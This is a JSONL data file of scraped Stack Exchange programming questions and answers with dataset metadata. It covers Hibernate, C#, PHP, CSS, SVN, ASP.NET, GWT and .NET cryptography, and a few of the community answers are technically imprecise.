"2026-01-17T15:30:01.501332"}
{"id": "hf_92552ace1a5b", "question": "<p>Is it possible to define a spring-managed EJB3 hibernate listener?</p>\n\n<p>I have this definition in my <strong>persistence.xml</strong>:</p>\n\n<pre><code>&lt;properties&gt; \n    &lt;property name=\"hibernate.ejb.interceptor\"\n        value=\"my.class.HibernateAuditInterceptor\" /&gt; \n    &lt;property name=\"hibernate.ejb.event.post-update\"\n        value=\"my.class.HibernateAuditTrailEventListener\" /&gt; \n&lt;/properties&gt;\n</code></pre>\n\n<p>But I would like to manage <code>HibernateAuditInterceptor</code> and <code>HibernateAuditTrailEventListener</code> with spring, so I can do some bean injection (ex: session-scoped bean) within these classes. Is this possible?</p>\n", "question_body": "", "answer": "The problem is that those properties are just strings. Even if you define your SessionFactory as a Spring bean, any properties you pass to it through the hibernateProperties setter are just strings:\n```\n```\n<bean id=\"mySessionFactory\" class=\"org.springframework.orm.hibernate3.LocalSessionFactoryBean\">\n    <property name=\"dataSource\"ref=\"myDataSource\"/>\n    <property name=\"mappingResources\">\n        <list>\n            <value>whatever.hbm.xml</value>\n        </list>\n    </property>\n    <property name=\"hibernateProperties\">\n        <value>\n            hibernate.ejb.interceptor= my.class.HibernateAuditInterceptor\n        </value>\n        <value>\n            hibernate.ejb.event.post-update=my.class.HibernateAuditTrailEventListener\n        </value>\n    </property>\n</bean>\n```\n```\nSo I don't think you can do that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.570972"}
{"id": "hf_b916b03c3150", "question": "<p>I'm trying to find a way to automate some exception logging code to add to the stack information already available.</p>\n\n<p>Is there any way to use reflection to retrieve the values of all variables on the stack (locals and parameters) - I sincerely doubt the names of the variables are available, but in many cases it would be useful to see the values.</p>\n", "question_body": "", "answer": "Not really. For this level of digging you'd probably need something like WinDbg.\nIf a\nspecific\nvariable is of interest, you can add it to the exception yourself (although even this introduces issues with duplicate keys, re-entrancy, etc):\n```\n```\nstring dir = ...todo...\n    try\n    {\n        // some code\n    }\n    catch (Exception ex)\n    {\n        ex.Data.Add(\"dir\", dir);\n        throw;\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.605238"}
{"id": "hf_21c7ae476d23", "question": "<p>I am very familiar with the Command pattern, but I don't yet understand the difference in theory between a Functor and a command. In particular, I am thinking of Java implementations. Both are basically programming \"verbs\" represented as objects. However, in the case of functors, as I have seen from some examples anonymous inner class implementations seem common. Can anyone out there clear this up for me nicely?</p>\n", "question_body": "", "answer": "From the description of the\nApache Commons Functor\npage:\nA functor is a function that can be manipulated as an object, or an object representing a single, generic function.\nFunctors support and encourage a number of powerful programming techniques including:\nprogramming in a functional style\nhigher order functions\ninternal iterators\nreuse and specialization through composition rather than inheritance and overloading\ngeneric \"callback\" or \"extension point\" APIs\ngeneric \"filters\" or predicate APIs\nmany \"behavioral\" design patterns, such as Visitor, Strategy, Chain of Responsibility, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.628232"}
{"id": "hf_b9e4c3d36efe", "question": "<p>looking for the standard bug-proofed way to convert \"long names\" such as \"C:\\Documents and settings\" to their equivalent \"short names\" \"C:\\DOCUME~1\"</p>\n\n<p>I need this to run an external process from withing my C# app. It fails if I feed it with paths in the \"long name\".</p>\n", "question_body": "", "answer": "If you are prepared to start calling out to Windows API functions, then GetShortPathName() and GetLongPathName() provide this functionality.\nSee\nhttp://csharparticles.blogspot.com/2005/07/long-and-short-file-name-conversion-in.html\n```\n```\nconst int MAX_PATH = 255;\n\n    [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto)]\n    public static extern int GetShortPathName(\n        [MarshalAs(UnmanagedType.LPTStr)]\n         string path,\n        [MarshalAs(UnmanagedType.LPTStr)]\n         StringBuilder shortPath,\n        int shortPathLength\n        );\n\n    private static string GetShortPath(string path) {\n        var shortPath = new StringBuilder(MAX_PATH);\n        GetShortPathName(path, shortPath, MAX_PATH);\n        return shortPath.ToString();\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.662642"}
{"id": "hf_0fb8507d1d2a", "question": "<p>I have a div container and have defined its style as follows:</p>\n\n<pre><code>div#tbl-container \n{\n    width: 600px;   \n    overflow: auto;    \n    scrollbar-base-color:#ffeaff\n}\n</code></pre>\n\n<p>This gives me both horizontal and vertical scroll bars automatically once I populate my table which is contained by this div.\nI just want only horizontal scroll bars to appear automatically. I will modify the height of the table programmatically.</p>\n\n<p>How do I do this?</p>\n", "question_body": "", "answer": "CSS3\nhas the\n```\noverflow-x\n```\nproperty, but I wouldn't expect great support for that. In\nCSS2\nall you can do is set a general\n```\nscroll\n```\npolicy and work your\n```\nwidths\n```\nand\n```\nheights\n```\nnot to mess them up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.685535"}
{"id": "hf_58ecb13e5694", "question": "<p>How would I specify a color in app.config and then convert that into an actual System.Drawing.Color object at runtime?</p>\n", "question_body": "", "answer": "One way would be to specify one of the\nKnownColor\nvalues as the config text and then use\nColor.FromName\nto create the Color object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.719924"}
{"id": "hf_3916b79fd30a", "question": "<p>I am desiging a new website for my company and I am trying to implement switch navigation which is what I have used on all my sites in the past.</p>\n\n<pre><code>&lt;?php\nswitch($x) {\n\ndefault:\ninclude(\"inc/main.php\");\nbreak;\n\ncase \"products\":\ninclude(\"inc/products.php\");\nbreak;\n\n}\n?&gt;\n</code></pre>\n\n<p>For some reason when I go to index.php?x=products nothing happens, it still displays inc/main.php, in other words it hasn't detected the X variable from the URL. Is this something to do with global variables?</p>\n", "question_body": "", "answer": "Yes, your PHP configuration has\ncorrectly\ngot\n```\nregister_globals\n```\nturned off, because that's incredibly insecure.\nJust put:\n```\n```\n$x = $_REQUEST['x']\n```\n```\nat the top of your script.\nYou can also use\n```\n$_GET\n```\nif you specifically only want this to work for the\n```\nGET\n```\nHTTP method.  I've seen some people claim that\n```\n$_REQUEST\n```\nis somehow insecure, but no evidence to back that up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.769656"}
{"id": "hf_e921a48f839a", "question": "<p>Using qsort in C we pass in a comparison function e.g.</p>\n\n<pre><code>int cmp(const void*, const void*);\n</code></pre>\n\n<p>the protoype of qsort expects a <code>int (* )(const void* , const void*)</code> so we call:</p>\n\n<pre><code>qsort(..., cmp);\n</code></pre>\n\n<p>but it is equally valid to call:</p>\n\n<pre><code>qsort(..., &amp;cmp);\n</code></pre>\n\n<p>and this is what we would have to do if we passed in a static member-function in C++. Kernighan &amp; Ritchie (2nd Edition, 5.11 \"Pointers To Functions\" p119) states that \"since [cmp] is known to be a function, the &amp; operator is not necessary, in the same way that it is not needed before an array name.\"</p>\n\n<p>Does anyone else feel slightly uncomfortable with this (esp. regarding type-safety)?</p>\n", "question_body": "", "answer": "Whether you feel uncomfortable or not doesn't change the fact that C is not considered a type-safe language.  Case in point:\n```\n```\nint main()\n{\n   int integer = 0xFFFFFF; \n   void (*functionPointer)() = (void(*)())integer; \n\n   functionPointer(); \n\n   return 0; \n}\n```\n```\nThis is completely valid at compile time, but it is obviously not safe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.827586"}
{"id": "hf_8c028b84ee45", "question": "<p>I have a large project for which I am attempting to use TDD.\nI am using <a href=\"http://tut-framework.sourceforge.net/\" rel=\"nofollow noreferrer\">Tut</a> as my test framework, which has its flaws but is sufficient for what I need. </p>\n\n<p>I need to exploit link time test seams, <strong>each test must be in its own executable</strong>. The project for this executable then launches itself as a post build step.</p>\n\n<p>Unfortunately, this means that my Visual Studio Sln is filling up with tests, which is not scalable and also hides the actual important projects.</p>\n\n<p>Does anyone know of a better way of running these tests?\nIs it possible to hide projects from a build and yet still have them build? </p>\n", "question_body": "", "answer": "\"Is it possible to hide projects from a build and yet still have them build?\"\nYou can make separate solution for test cases.\nThen you can set up post build step of your main projects. This post-build should build tests-projects via separate solution and run them. Building test-projects should be done via command line (see e.g.\nhere\nfor details).\nIf you need to link your unit tests with some lib-s from main projects, you can use\n```\n```\n#pragma comment(lib, \"libname\")\n```\n```\nSee\nthis MSDN page\nfor details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.850635"}
{"id": "hf_2e4251f2feb8", "question": "<p>Does hitting the back button in a web browser cause the session data set in the preceding call to be deleted?</p>\n", "question_body": "", "answer": "No, it does not.\nWell, if the user arrived to the previous page by POST (as opposed to GET) and reposts the page, the server is going to process the request again. It won't delete the data in the session though. It is possible to achieve this behaviour with some code, but that's not how it works by default.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.874630"}
{"id": "hf_cd5fdce2a6af", "question": "<p>These seem to mean the same thing. But what term is more appropriate in what context?</p>\n", "question_body": "", "answer": "```\n```\n<property attribute=\"attributeValue\">proopertyValue</property>\n```\n```\nwould be one way to look at it.\nIn C#\n```\n```\n[Attribute]\npublic class Entity\n{\n    private int Property{get; set;};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.924521"}
{"id": "hf_619b8d17bc19", "question": "<p>I am trying to migrate a part of an SVN repository using <code>svnadmin dump</code>.</p>\n\n<p>The provided svndumpfilter tool doesn't manage copy/move/rename dependencies from directories not included in the export.</p>\n\n<p>Is there a tool which can manage these dependencies?</p>\n", "question_body": "", "answer": "With dependencies you mean those specified by the property svn:external?\nIf yes, I think you should pass to svndumpfilter also the paths referrend in the property.\nFor example, if your project is in\n```\nhttp://host/project\n```\nand the svn:external property is set to\n```\nhttp://host/dependencies\n```\nyou can do something like\n```\n```\nsvndumpfilter include http://host/project http://host/dependencies < total.dump > project.dump\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.947321"}
{"id": "hf_839643fe09ed", "question": "<p>In any (non-web) .net project, the compiler automatically declares the DEBUG and TRACE constants, so I can use conditional compiling to, for example, handle exceptions differently in debug vs release mode.</p>\n\n<p>For example:</p>\n\n<pre><code>#if DEBUG\n    /* re-throw the exception... */\n#else\n    /* write something in the event log... */\n#endif\n</code></pre>\n\n<p>How do I obtain the same behavior in an ASP.net project?\nIt looks like the system.web/compilation section in the web.config could be what I need, but how do I check it programmatically?\nOr am I better off declaring a DEBUG constant myself and comment it out in release builds?</p>\n\n<p>EDIT: I'm on VS 2008</p>\n", "question_body": "", "answer": "Look at\nConfigurationManager.GetSection()\n- this should get you most of the way there.. however, I think you're better off just changing between debug and release modes and letting the compiler determine to execute the \"#if DEBUG\" enclosed statements.\n```\n```\n#if DEBUG\n/* re-throw the exception... */\n#else\n/* write something in the event log... */\n#endif\n```\n```\nthe above will work just fine, just make sure you have at least two build configurations (right-click the project you're working on and go to \"Properties\" there's a section in there on Builds) - make sure that one of those builds has the \"define DEBUG\" checked and the other does not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.970198"}
{"id": "hf_98c2df92e9ad", "question": "<p>Is it possible in Actionscript 3 to create a weak reference to an object, so that it can be garbage collected.</p>\n\n<p>I'm creating some classes to make debugging easier, so I don't want the objects to hang around in memory if they are only referenced here (and of course I don't want to fill the code with callbacks to remove the objects)</p>\n", "question_body": "", "answer": "Right now I've made a simple class to  take advantage of the Dictionary weakKeys parameter:\n```\n```\npublic class WeakReference\n{\n    private var dic\n\n    public function WeakReference(object)\n    {\n        this.dic = new Dictionary(true)\n        this.dic[object] = true\n    }\n\n    public function get Value()\n    {\n        for (var object in this.dic)\n        {\n            return object\n        }\n        return null\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.027907"}
{"id": "hf_ca904063a6cd", "question": "<p>I would like to know what the pros and cons are for using an Anemic Domain Model (see link below).</p>\n\n<p><a href=\"http://www.martinfowler.com/bliki/AnemicDomainModel.html\" rel=\"noreferrer\" title=\"Fowler Article\">Fowler Article</a></p>\n", "question_body": "", "answer": "It seems to me that Fowler's main objection is that ADMs are not OO, in the following sense. If one designs a system \"from scratch\" around passive data structures that are manipulated by other pieces of code, then this certainly smells more like procedural design than object-oriented design.\nI suggest that there are at least two forces that can produce this kind of design:\nDesigners/programmers who still think procedurally being required to work in an object-oriented environment (or assuming that they can...) to produce a\nnew\nsystem, and\nDevelopers working to put a service-like \"face\" on a\nlegacy\nsystem designed in a non-OO fashion (regardless of language).\nIf, for example, one were building a set of services to expose the functionality of an existing COBOL mainframe application, one might define services and interfaces in terms of a conceptual model that does\nnot\nmirror the internal COBOL data structures. However, if the service maps the new model to the legacy data to use the existing-but-hidden implementation, then the new model might very well be \"anemic\" in the sense of Fowler's article -- e.g. a set of TransferObject-style definitions and relationships with no real behavior.\nThis kind of compromise may very well be common for the boundaries at which idealistically-pure OO systems must interact with an existing, non-OO environment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.062202"}
{"id": "hf_669c2a63ab23", "question": "<p>Are there other possibilities besides IIS for hosting web sites and web services based on ASP.NET, which are recommended by Microsoft for small-scale environments?</p>\n", "question_body": "", "answer": "Ohad has a tutorial on getting it to run on apache:\nasp.net on apache\n.  I'm not really sure how well it runs but it works.  I don't think Microsoft recommends anything other than IIS, but why would they.  For most small scale uses a Windows Server will have everything a small site needs already packaged in.  I'm not sure why you need to find alternatives unless you don't have a windows server available, in which case, the apache port should work for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.108230"}
{"id": "hf_2ca7e062c578", "question": "<p>I have an SVN repository structure like below. We are using multiple levels under branches for various release maintenance branches, plus a directory for feature branches.</p>\n\n<p>git-svn init seems to work with a single --branches argument, i.e. it seems to expect all of the branches to be in a single location.</p>\n\n<pre><code>trunk\nbranches\n  1.1\n    1.2.1\n    1.2.2\n  1.2\n    1.2.1\n    1.2.2\n    1.2.3\n  features\n    feature1\n    feature2\n</code></pre>\n\n<p>Any ideas on how to handle this?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Would it be feasible to create a\n```\ngit\n```\nrepo for each of the branch subdirectories?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.130805"}
{"id": "hf_37e98e4dc36f", "question": "<p>I'm looking for tutorials or walkthroughs for converting DTS packages into the new SSIS 2005. Any one knows.</p>\n", "question_body": "", "answer": "Migrating DTS Packages to Integration Services\nSQL Server Integration Services provides a robust way to process millions of rows of data. The platform is highly extensible and performs much faster than the previous DTS platform. Migration of old DTS packages can be done two ways: through the built-in Package Migration Wizard, which handles simple package migrations; and through DTS xChange, which handles both simple and complex DTS migrations, while applying best practices to the migrated packages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.153773"}
{"id": "hf_c1df47b4e3c9", "question": "<p>Anyone know how to detect if a television is currently connected to a PC in c#?</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "How is the device attached?\nWhenever a device arrival/removal happens, Windows sends a message called WM_DEVICECHANGE to all the applications running currently in the system. But to receive this message our application should handle the \"Windows Process function\". C# applications will not have default support for this function, but it's possible to add it. You could extend the form class.\nThe code to do this for a usb mass storage device would be something like:\n```\n```\nusing System;\nusing System.Drawing;\nusing System.Collections;\nusing System.ComponentModel;\nusing System.Windows.Forms;\nusing System.Data;\nusing System.Runtime.InteropServices;\nnamespace WindowsApplication\n{\n    /// <summary>\n    /// Summary description for Form1.\n    /// </summary>\n    public class Form1 : System.Windows.Forms.Form\n    {\n        /// <summary>\n        /// Required designer variable.\n        /// </summary>\n        private System.ComponentModel.Container components = null;\n\n        public Form1()\n        {\n            //\n            // Required for Windows Form Designer support\n            //\n            InitializeComponent();\n\n            //\n            // TODO: Add any constructor code after InitializeComponent call\n            //\n        }\n\n        [StructLayout(LayoutKind.Sequential)] \n            public struct DEV_BROADCAST_VOLUME \n        { \n            public int dbcv_size; \n            public int dbcv_devicetype; \n            public int dbcv_reserved; \n            public int dbcv_unitmask; \n        } \n\n        protected override void WndProc(ref Message m) \n        { \n            //you may find these definitions in dbt.h and winuser.h \n            const int WM_DEVICECHANGE = 0x0219; \n            const int DBT_DEVICEARRIVAL = 0x8000;  // system detected a new device \n            const int DBT_DEVICEREMOVECOMPLETE = 0x8001;  // system detected a new device \n            const int DBT_DEVTYP_VOLUME = 0x00000002;  // logical volume \n            switch(m.Msg)\n            {\n                case WM_DEVICECHANGE:\n                switch(m.WParam.ToInt32())\n                {\n                    case DBT_DEVICEARRIVAL:\n                        { \n                            int devType = Marshal.ReadInt32(m.LParam,4); \n                            if(devType == DBT_DEVTYP_VOLUME) \n                            { \n                                DEV_BROADCAST_VOLUME vol; \n                                vol = (DEV_BROADCAST_VOLUME) \n                                    Marshal.PtrToStructure(m.LParam,typeof(DEV_BROADCAST_VOLUME)); \n                                MessageBox.Show(vol.dbcv_unitmask.ToString(\"x\")); \n                            } \n                        } \n                        break;\n                    case DBT_DEVICEREMOVECOMPLETE:\n                        MessageBox.Show(\"Removal\");\n                        break;\n                }\n\n                    break;\n            }\n            //we detect the media arrival event \n            base.WndProc (ref m); \n\n        } \n        /// <summary>\n        /// Clean up any resources being used.\n        /// </summary>\n        protected override void Dispose( bool disposing )\n        {\n            if( disposing )\n            {\n                if (components != null) \n                {\n                    components.Dispose();\n                }\n            }\n            base.Dispose( disposing );\n        }\n\n        #region Windows Form Designer generated code\n        /// <summary>\n        /// Required method for Designer support - do not modify\n        /// the contents of this method with the code editor.\n        /// </summary>\n        private void InitializeComponent()\n        {\n            // \n            // Form1\n            // \n            this.AutoScaleBaseSize = new System.Drawing.Size(5, 13);\n            this.ClientSize = new System.Drawing.Size(292, 273);\n            this.Name = \"Form1\";\n            this.Text = \"Form1\";\n            this.Load += new System.EventHandler(this.Form1_Load);\n\n        }\n        #endregion\n\n        /// <summary>\n        /// The main entry point for the application.\n        /// </summary>\n        [STAThread]\n        static void Main() \n        {\n            Application.Run(new Form1());\n        }\n\n        private void Form1_Load(object sender, System.EventArgs e)\n        {\n\n        }\n    }\n}\n```\n```\nIt might give you an idea how to implement it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.223246"}
{"id": "hf_a9509602228e", "question": "<p>I have a GridView defined like this:</p>\n\n<pre><code>&lt;asp:GridView ID=\"myGridView\" ruant=\"server\"&gt;\n    &lt;asp:BoundField DataField=\"myField\" /&gt;\n    &lt;asp:CommandField ShowDeleteButton=\"true\" ShowEditButton=\"true\" /&gt;\n&lt;/asp:GridView&gt;\n</code></pre>\n\n<p>After I put a row into edit mode with the Edit button, how do I capture the Enter key and trigger the resulting Update on the row? Right now if I hit enter, the page reloads, what was entered into the TextBox is lost, and the row stays in edit mode. I know how to <a href=\"https://stackoverflow.com/questions/152099/i-want-to-prevent-aspnet-gridview-from-reacting-to-the-enter-button\">disable the enter key entirely</a> on the form (the current workaround), but I'd like to have it fire the Update command.</p>\n", "question_body": "", "answer": "Well, using the knowledge from the question you linked, it's simple:\n```\n```\nstring js = \"if (event.keyCode == 13) this.form.submit();\"\nmyGridView.Attributes.Add(\"onkeydown\", js);\n```\n```\nAs we found out in the comments, this introduces a small problem. The\n```\nGridView_RowUpdating\n```\nserver event does not fire anymore, but the question author relies on it.\nIn short - the server event model relies on the form field\n```\n__EVENTTARGET\n```\nto be set. This form field is not sent when just calling the\n```\nform.submit()\n```\n. A solution would be to \"click\" the relevant button with JavaScript.\n```\n```\nstring js = \"if ((event.which && event.which == 13) || \" \n            + \"(event.keyCode && event.keyCode == 13)) \"\n            + \"{document.myForm.Update.click();return false;} \"\n            + \"else return true;\";\nmyGridView.Attributes.Add(\"onkeydown\", js);\n```\n```\nSee\n\"Using the enter key to submit a form\"\non AllAsp.net, which covers the issue in more detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.247012"}
{"id": "hf_12a566035cb2", "question": "<p>In GWT, what is the best way to convert a JavaScriptObject overlay type into a JSON string?</p>\n\n<p>I currently have</p>\n\n<pre><code>public final String toJSON() {      \n    return new JSONObject(this).toString();\n}\n</code></pre>\n\n<p>Which seems to work fine. I would like to know if there are any better approaches.</p>\n", "question_body": "", "answer": "I've never actually tried that (only consumed JSON so far, never needed to produce it). This seems to be native browser/javascript functionality.\nYou\ncould\nwrite it as:\n```\n```\npublic native String toJSON() /*-{\n  return this.toString();\n}-*/;\n```\n```\nThey essentially just do the exact same thing and likely result in identical JavaScript output. The optimizing compiler is really amazing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.292882"}
{"id": "hf_305498035969", "question": "<p>Is there a possible htaccess directive that can transparently forward request from index.php to index_internal.php if the request is coming from an internal ip range?</p>\n", "question_body": "", "answer": "Something like this should do it (obviously change the IP address to match your network):\n```\n```\nRewriteCond %{REMOTE_ADDR} ^192\\.168\\.\nRewriteRule index.php index_internal.php\n```\n```\nIf you want an actual header then make it\n```\nRewriteRule index.php index_internal.php [L,R,QSA]\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.315386"}
{"id": "hf_b6d8e64fd31a", "question": "<p>I am using an XmlDocument to parse and manipulate an XHTML string, converting some nodes to non-HTML nodes.</p>\n\n<p>What is the best way to get a list of all nodes with a given class name? Can it be done with XPath?</p>\n", "question_body": "", "answer": "With a given class? If it is just the one class, then you should be able to do something like .SelectNodes(\"//*[@class='foo']\"). If it isn't xhtml, then the\nHTML Agility Pack\nis worth looking at.\nAt the client, jQuery would be a good option - and supports composite class names.\nIf you have multiple class names on individual elements, and need to handle it at the server, I expect you might need to find the candidate classes first (\"//*[@class!='']), and then loop over them doing a\n```\nSplit()\n```\nand checking for the class-name in the results; i.e. pull it apart manually.\nIn LINQ terms, something like:\n```\n```\nvar qry = from XmlElement el in d.SelectNodes(\"//*[@class!='']\")\n                  let classes = el.GetAttribute(\"class\").Split(new[] {' '},\n                          StringSplitOptions.RemoveEmptyEntries)\n                  where classes.Contains(\"foo\")\n                  select el;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.338179"}
{"id": "hf_95a0421cbccc", "question": "<p>For a one-shot operation, i need to parse the contents of an XML string and change the numbers of the \"ID\" field. However, i can not risk changing anything else of the string, eg. whitespace, line feeds, etc. MUST remain as they are! </p>\n\n<p>Since i have made the experience that XmlReader tends to mess whitespace up and may even reformat your XML i don't want to use it (but feel free to convince me otherwise). This also screams for RegEx but ... i'm not good at RegEx, particularly not with the .NET implementation.</p>\n\n<p>Here's a short part of the string, the number of the ID field needs to be updated in some cases. There can be many such VAR entries in the string. So i need to convert each ID to Int32, compare &amp; modify it, then put it back into the string.</p>\n\n<pre><code>&lt;VAR NAME=\"sf_name\" ID=\"1001210\"&gt;\n</code></pre>\n\n<p>I am looking for the simplest (in terms of coding time) and safest way to do this.</p>\n", "question_body": "", "answer": "The regex pattern you are looking for is:\n```\n```\nID=\"(\\d+)\"\n```\n```\nMatch group 1 would contain the number. Use a\nMatchEvaluator Delegate\nto replace matches with dynamically calculated replacements.\n```\n```\nRegex r = new Regex(\"ID=\\\"(\\\\d+)\\\"\");\nstring outputXml = r.Replace(inputXml, new MatchEvaluator(ReplaceFunction));\n```\n```\nwhere\n```\nReplaceFunction\n```\nis something like this:\n```\n```\npublic string ReplaceFunction(Match m)\n{\n  // do stuff with m.Groups(1);\n  return result.ToString();\n}\n```\n```\nIf you need I can expand the Regex to match more specifically. Currently\nall\nID values (that contain numbers only) are replaced. You can also build that bit of \"extra intelligence\" into the match evaluator function and make it return the match unchanged if you don't want to change it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.360862"}
{"id": "hf_e332fbf9c817", "question": "<p>Which cryptography algorithm is the most secure that ships with .net?</p>\n", "question_body": "", "answer": "I'm somewhat partial to\nSHA-512\n. If 512 is a little excessive, the other members of the SHA-2 family might be helpful -\nSHA-256\nand\nSHA-384\nare both in the SHA-2 family. But AviewAnew's suggestion of\nAES 256\nis good as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.395389"}
{"id": "hf_594e1445fe43", "question": "<p>Apologies if this has been covered frequently, but I was wondering about how other people approach personal task management.</p>\n\n<p>I've read (parts of) GTD, proceeded to get excited, installed a tonne of plug-ins all over the place, then let it all fall by the wayside.  I've used todoist, outlook, google calendar, project. I've tried writing lists in a notepad, in 'notebook', on post-it-notes and in spreadsheets etc.  None of it lasts.  </p>\n\n<p>Why is a simple and effective todo application so difficult to find?  Because the application is so frequently used, I find that any small niggles with the application become overly exaggerated after a few days use.</p>\n\n<p>So far, my favourite application is a variation of todo.txt called <a href=\"http://www.beckingham.net/task.html\" rel=\"nofollow noreferrer\">task</a> </p>\n\n<p>What do you use?</p>\n", "question_body": "", "answer": "I think this is almost a duplicate of\nHow can I apply David Allen’s “Getting Things Done” as a programmer?\nSee also:\nWhat Can Someone Do to Get Organized Around Here?\nTime management tricks, tools & tips\nWhat do you use to keep notes as a developer?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.418086"}
